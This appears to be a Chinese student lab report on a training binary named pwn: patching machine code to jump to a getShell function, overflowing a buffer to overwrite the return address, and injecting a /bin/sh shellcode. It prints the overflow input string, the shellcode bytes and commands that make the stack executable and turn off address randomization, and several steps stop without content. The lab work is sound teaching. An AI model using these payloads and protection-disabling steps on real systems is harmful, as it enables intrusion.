Exp1 PC平台逆向破解(5)M
1 知识要求
2 直接修改程序机器指令,改变程序执行流程
3 通过构造输入参数,造成BOF攻击,改变程序执行流
4 注入Shellcode并执行
1 知识要求
-
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。 -
掌握反汇编与十六进制编程器
2 直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
实践目标
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
实践步骤
-
首先让我们对pwn文件进行一个反汇编,可以看到文件中的是跳转到foo函数
-
让我们把文件转换成十六进制看一下
-
找到
d7
的位置
-
把
d7
修改为c3
。c3
是根据
-
将十六进制转换为原格式并保存
-
运行pwn文件
实践中遇到的问题
- 显示“不是可执行文件”
- 显示“找不到该文件”
- 解决:
3 通过构造输入参数,造成BOF攻击,改变程序执行流
实践步骤
-
反汇编,了解程序的基本功能
-
确认输入字符串哪几个字符会覆盖到返回地址
-
确认用什么值来覆盖返回地址
- ```11111111222222223333333344444444x7dx84x04x08```
-
构造输入字符串
-
运行结果
4 注入Shellcode并执行
-
准备一段Shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
- 所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- shellcode就是一段机器指令(code)
-
准备工作
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行,(shellcode需要在堆栈中执行)
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,这样可以方便找到shellcode的地址
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
- 以下实践使用的shellcode如下:
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
- 我们需要找到返回地址的值,
- 成功,结果如下:
实践中遇到的问题:
- 显示“没有execstack指令”
- 解决:需要先
apt-get install execstack
安装execstack - 显示“段错误”
- 解决: